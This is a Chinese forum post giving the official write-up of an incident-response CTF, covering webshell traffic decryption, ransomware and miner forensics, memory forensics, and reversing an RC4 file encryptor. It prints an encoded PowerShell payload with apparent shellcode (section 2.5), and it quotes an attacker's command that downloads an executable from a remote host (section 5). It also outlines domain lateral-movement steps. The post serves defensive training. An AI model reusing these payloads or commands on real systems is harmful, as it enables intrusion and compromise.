吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1512|回复: 20
收起左侧

[CTF] 【官方WP】第一届solar杯·应急响应挑战赛官方题解

  [复制链接]
solar应急响应 发表于 2025-1-8 15:59
本帖最后由 solar应急响应 于 2025-1-10 09:51 编辑

就在几天前,第一届Solar杯·应急响应挑战赛圆满落下帷幕。这场比赛汇聚了来自全国的网络安全精英,选手们在激烈的技术较量中展现了非凡的能力和智慧。为延续比赛的技术交流与分享精神,我们很高兴向大家呈现本次比赛的官方WP(Writeup)。本篇官方WP将深入解析比赛中的关键赛题,从流量分析到勒索病毒破解,逐步还原真实案例中的技术细节与解决思路。       需要特别说明的是,文中所呈现的这些方法和思路,均基于真实应急响应场景设计,虽然可能并非所有情况下的最优解,但我们希望它们能够为您提供有价值的参考,助力您在未来的应急响应中更加高效地应对复杂多变的安全挑战。让我们一同走进这场技术盛宴,探索网络安全应急响应的更多可能!

1.流量分析

1.1 文件排查

新手运维小王的Geoserver遭到了攻击:

黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。

从日志分析得知攻击者ip为10.0.100.22对该站点有目录扫描行为与b.jsp交互频繁疑似为上传webshell

1.1.1.PNG
当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java),然后将其编译为 .class 文件。生成的 .class 文件是 Tomcat 用来处理请求并返回响应的实际代码。这个过程是动态的,Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/

查看b_jsp.java判断为哥斯拉webshell

1.1.2.PNG
base64解码code

1.1.3.PNG

f!l^a*g{A7b4_X9zK_2v8N_wL5q4}

1.2 流量解密

新手运维小王的Geoserver遭到了攻击:

小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。

1.2.1.PNG

1.2.2.png

1.2.3.png

flag{sA4hP_89dFh_x09tY_lL4SI4}

1.3 文件提取

新手运维小王的Geoserver遭到了攻击:

小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。

使用流量解密工具进行解密流量并删除无用部分后另存为pdf

1.3.1.png

1.3.2.png

1.3.3.png

flag{dD7g_jk90_jnVm_aPkcs}

2.数据库

说明:由于黑客在攻击时可能会修改用户口令、锁定登陆、破坏系统导致无法进入操作系统,因此本题不提供密码

VMware虚拟机进入pe系统: pe镜像下载地址

https://www.hotpe.top/download/

2.0.1.png

在虚拟机编辑设置CD/DVD处选择pe镜像

2.0.2.png
选择电源-->打开电源时进入固件

2.0.3.png

在boot选项中调整启动顺位

2.0.4.png

2.0.5.png

可以在源系统盘看到勒索信X3rmENR07.README.txt,被加密的文件后缀为.X3rmENR07

2.0.6.png

2.0.7.png

搜索后缀名得知为lockbit勒索家族

2.0.8.png

2.1 攻击者创建隐藏账户的时间

查看原系统Security.evtx日志文件

2.1.1.png

2.1.2.png

flag

flag{2024/12/16 15:24:21}

2.2 恶意文件的名称

2.2.1.png

flag{xmrig.exe}

2.3 外联地址

在恶意文件的配置文件中可以看到外联的url为“sierting.com”

2.3.1.png

dns解析为“203.107.45.167”

2.3.2.png

flag{203.107.45.167}

2.4 数据库修复

使用数据库修复工具“D-Recovery SQL Server”进行修复

2.4.1.png

选择被加密的数据库文件,在”选择参照mdf文件“中选择”【非题目】题mssql-备份数据库(可能会用到)“中的纯表结构文件

2.4.2.png

2.4.3.png

flag{E4r5t5y6mhgur89g}

2.5 逆向恶意powoshell的md5值

可以在“Windows PowerShell.evtx”日志文件中看到PowerShell执行情况

2.5.1.png

可以看到攻击者在2024/12/16 15:23:01执行的PowerShell其中的

New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。

System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。

ReadToEnd():读取并执行解压后的数据内容。

2.5.2.png

解密脚本

import base64

base64_data = '''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'''
padding = '=' * (4 - len(base64_data) % 4)
base64_data += padding
compressed_data = base64.b64decode(base64_data)
with open("output.gz", "wb") as f:
    f.write(compressed_data)
print("保存成功")

打开test.txt再次解密

2.5.3.png

import base64

base64_data = "/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V"
padding = '=' * (4 - len(base64_data) % 4)
base64_data += padding
decoded_data = base64.b64decode(base64_data)
with open('data.bin', 'wb') as file:
    file.write(decoded_data)
print("保存成功")

2.5.4.png

flag{d72000ee7388d7d58960db277a91cc40}

3.内存取证

获取镜像信息

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw imageinfo

3.0.1.png

3.1 远程rdp连接的跳板地址:

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 netscan

3.1.1.png

flag{192.168.60.220}

3.2 攻击者下载黑客工具的IP地址:

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 cmdscan

3.2.1.png

flag{155.94.204.67}

3.3 黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么:

查看攻击者执行的命令,读取了桌面的pass.txt文件

3.3.1.png

查找pass.txt

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 filescan | findstr "pass.txt"

3.3.2.png

dump 文件

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e4cedd0 -D C:\data

3.3.3.png

查看文件内容

3.3.4.png

flag{GalaxManager_2012}

3.4 攻击者创建的用户:

Security.evtx记录安全相关的事件,如登录、权限更改、系统策略修改等

搜索 Security.evtx  日志文件

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 filescan | findstr "Security.evtx"

3.4.1.png

dump 日志文件

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e744ba0 -D C:\data

修改后缀为.evtx,查看

3.4.2.png

flg{ASP.NET}

3.5 攻击者利用跳板rdp登录的时间

3.5.1.png

flag{2024/12/21 00:15:34}

3.6 攻击者创建用户的密码哈希值:

volatility_2.6_win64_standalone.exe -f SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 hashdump

3.6.1.png

flag{5ffe97489cbec1e08d0c6339ec39416d}

4.逆向破解

在createfileW处下断点,

4.1.png

断住之后发现输入的参数为一个文件路径

跟踪发现这里使用随机数生成了六位密钥

4.2.png

将生成的密钥%10,即生成0-9的密钥

4.3.png

明显的rc4特征,rc4密钥初始化

4.4.png

交换数组位置,这里就是利用key生成s盒,相当于

for i in 0..256 {
    j = (j + s[i]  + key[i % key.len()] ) % 256;
    s.swap(i, j);
}

4.5.png

使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密

4.6.png

生成字符串

4.7.png

如下

4.8.png

再次生成字符串

4.9.png

如下

4.10.png

将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。

4.11.png

4.12.png

创建文件

4.13.png

4.14.png

写入文件

4.15.png

由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果

import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor

def rc4(key, data):
    key_length = len(key)
    S = list(range(256))
    j = 0

    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]

    i = 0
    j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        result.append(byte ^ K)

    return result

def is_printable(data):
    try:
        return all(32 <= byte <= 126 for byte in data)
    except TypeError:
        return False

ciphertext = []#加密后的数据

def run(key_tuple ):
    key = list(key_tuple)
    decrypted_data = rc4(key, ciphertext)
    # 判断是否解密后的数据是可打印的
    if is_printable(decrypted_data):
        decrypted_string = ''.join(chr(byte) for byte in decrypted_data)
        if 'flag' in decrypted_string:
            print(f"找到有效密钥: {key} -> 解密结果: {decrypted_string}")
max_threads = os.cpu_count()*2
print(max_threads)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
    executor.map(run, itertools.product(range(0, 10), repeat=6))

4.16.png

其中加密后缀为一个假的flag,但是可以解出结果

4.17.png

5.综合应急

24/12/18 9:01:40分以sa账户连接数据库

5.1.png

24/12/18 9:02:04 由sqlservr.exe通过clr调用cmd.exe而后执行powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe

5.2.png

5.3.png

24/12/18 9:02:08 执行木马

5.4.png

24/12/18 9:02:15创建管道spoolss,9:02:18 获取system权限

5.5.png

5.6.png

24/12/18 9:02:50访问进程lsass.exe,推测攻击者从中获取哈希

5.7.png

24/12/18 9:03:27 使用sql01账户通过wmi连接服务器

5.8.png

24/12/18 9:03:54 创建用户admin

5.9.png

24/12/18 9:03:55发现攻击者ip 10.0.100.85

5.10.png

24/12/18 9:05:14加载了pv.ps1,从文本中可发现该脚本实际为PowerView.ps1,主要作用是在域内做信息收集。

5.11.png

5.12.png

5.13.png

24/12/18 9:10:44 进行dns查询

5.14.png

24/12/18 9:11:15 修改administrator账户密码为Password@123

5.15.png

24/12/18 9:11:24.000 攻击者使用sql01本地管理员administrator账户RDP登陆服务器

5.16.png

24/12/18 9:11:26.000 修改防火墙配置

5.17.png

24/12/18 9:16:19.220 攻击者使用sql01账户登陆sql02数据库,之后执行命令下载木马并执行木马,提权后修改了sql02本地管理员administrator

5.18-1.png

5.18.png

24/12/18 9:22:07.000 疑似利用web漏洞执行命令

5.19.png

24/12/18 9:26:46.000 创建调用PowerView.ps1

5.20.png

24/12/18 9:33:54.000 web应用为域用户iis权限

5.21.png

5.22.png

24/12/18 9:59:44.000 修改web01本地管理员administrator密码

5.23.png

24/12/18 9:59:50 rdp连接

5.24.png

24/12/18 10:12:14 关闭防火墙

5.25.png

24/12/18 10:12:19 攻击者利用无约束委派请求票据,获取票据后利用票据获取域内账户hash

5.26.png

5.27.png

24/12/18 10:31:08 攻击者通过winrm使用administrator哈希登陆dc02

5.28.png

24/12/18 10:31:20 修改域管理员密码

5.29.png

24/12/18 10:31:28 RDP登陆

5.30.png
24/12/18 10:31:49-24/12/18 10:31:50 上传黑客工具

5.31.png
24/12/18 10:48:39 执行命令SpoolSample.exe dc03 dc02

5.32.png

24/12/18 10:53:02.000 注入票据

5.33.png

24/12/18 16:35:22  攻击者使用333.exe工具使10.0.11.6与10.0.11.8进行tcp连接

5.34.png

24/12/18 16:37:14 攻击者使用333.exe工具使10.0.11.6与10.0.11.10进行tcp连接

应急响应比赛附件下载链接:

链接: https://pan.baidu.com/s/1vB0HXswYecvFmGutw9HnDA?pwd=du2h
提取码: du2h
5.35.png

免费评分

参与人数 4吾爱币 +4 热心值 +4 收起 理由
kwnthink + 1 + 1 谢谢@Thanks!
lucife5604 + 1 + 1 用心讨论,共获提升!
lj0822 + 1 + 1 我很赞同!
SherlockProel + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| solar应急响应 发表于 2025-1-10 09:49
小朋友呢 发表于 2025-1-8 16:44
挺有意思的,大佬有附件的下载链接嘛

您好有的, 通过网盘分享的文件:应急比赛链接: https://pan.baidu.com/s/1vB0HXswYecvFmGutw9HnDA?pwd=du2h 提取码: du2h
as5081523 发表于 2025-1-8 16:09
Flytom 发表于 2025-1-8 16:19
retiree 发表于 2025-1-8 16:36
这是真论坛大牛
小朋友呢 发表于 2025-1-8 16:44
挺有意思的,大佬有附件的下载链接嘛
rui1158656725 发表于 2025-1-8 17:32
大佬厉害,学习了
shen12wang 发表于 2025-1-8 18:23
太厉害了,好多文件,起码年薪百万啊
jzbcbaba 发表于 2025-1-8 22:32
收藏学习,这够我学习好久,感谢分享案例
icho 发表于 2025-1-8 23:02
只能静静的看着
binghe01 发表于 2025-1-8 23:10
太厉害了,感谢师傅的分享,学到了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-1-20 19:37

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表